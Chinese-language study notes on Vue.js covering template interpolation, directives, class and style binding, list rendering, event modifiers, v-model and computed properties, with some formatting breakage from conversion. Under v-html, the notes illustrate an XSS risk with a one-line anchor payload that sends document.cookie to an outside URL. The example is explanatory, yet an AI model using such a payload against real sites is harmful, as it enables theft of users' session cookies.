```
1. 模板语法
    (1)插值
        a.文本 {{}}
        b.纯HTML
            v-html, <u>防止XSS,CSRF</u> (
                (1) 前端过滤
                (2) 后台转义(< > &lt; &gt;)
                (3) 给cookie 加上属性 http
            )
    1 <a href=javascript:location.href='http://www.baidu.com?</pre>
    cookie='+document.cookie>click</a>
    2 // 复制pdf需要注意编码问题
        c.表达式
    (2)指令: 是带有 v- 前缀的特殊属性
        v-bind 动态绑定属性
        v-if 动态创建/删除
        v-show 动态显示/隐藏
        v-on:click 绑定事件
        v-for 遍历
        v-model 双向绑定表单
    (3)缩写
        v-bind:src => :src
        v-on:click => @click
2. class 与 style
   (1)绑定HTML Class
           -对象语法
           -数组语法
   (2)绑定内联样式
           -对象语法
           -数组语法
           //需要将 font-size =>fontSize
3. 条件渲染
```

(1)v-if

- (2)v-else v-else-if
- (3)template v-if ,包装元素template 不会被创建
- (4)v-show

## 4. 列表渲染

- (1)v-for (特殊 v-for="n in 10")
  - a. in
  - b. of

## 没有区别

- (2)key:
  - \*跟踪每个节点的身份,从而重用和重新排序现有元素
  - \*理想的 key 值是每项都有的且唯一的 id。data.id

## (3)数组更新检测

- a. 使用以下方法操作数组,可以检测变动 push() pop() shift() unshift() splice() sort() reverse()
- b. filter(), concat() 和 slice(), map(), 新数组替换旧数组
- c. 不能检测以下变动的数组

vm.items[indexOfItem] = newValue

\*解决\* (1)Vue.set(example1.items, indexOfItem, newValue)

(2)splice

(4)应用:显示过滤结果

## 5. 事件处理

- (1)监听事件-直接触发代码
- (2)方法事件处理器-写函数名 handleClick
- (3)内联处理器方法-执行函数表达式 handleClick(\$event) \$event 事件对象
- (4)事件修饰符 https://cn.vuejs.org/v2/quide/events.html
  - .stop
  - .prevent
  - .capture
  - self
  - . once

passive

每次事件产生,浏览器都会去查询一下是否有preventDefault阻止该次 事

件的默认动作。我们加上passive就是为了告诉浏览器,不用查询了,我们没

用

## preventDefault阻止默认动作。

这里一般用在滚动监听,@scroll,@touchmove。因为滚动监听过程中,移动每个像素都会产生一次事件,每次都使用内核线程查询prevent会使滑动卡顿。我们通过passive将内核线程查询跳过,可以大大提升滑动的流畅度。

## (5)按键修饰符

# 6. 表单控件绑定/双向数据绑定

v-model

(1)基本用法

-购物车

(2)修饰符

.lazy:失去焦点同步一次

.number:格式化数字

.trim: 去除首尾空格

#### 7. 计算属性

复杂逻辑,模板难以维护

- (1) 基础例子
- (2) 计算缓存 VS methods
  - -计算属性是基于它们的依赖进行缓存的。
  - -计算属性只有在它的相关依赖发生改变时才会重新求值
- (3) data vs computed vs watch

#### 8. Mixins

混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。 混入对象可以包含任意组件选项。

当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。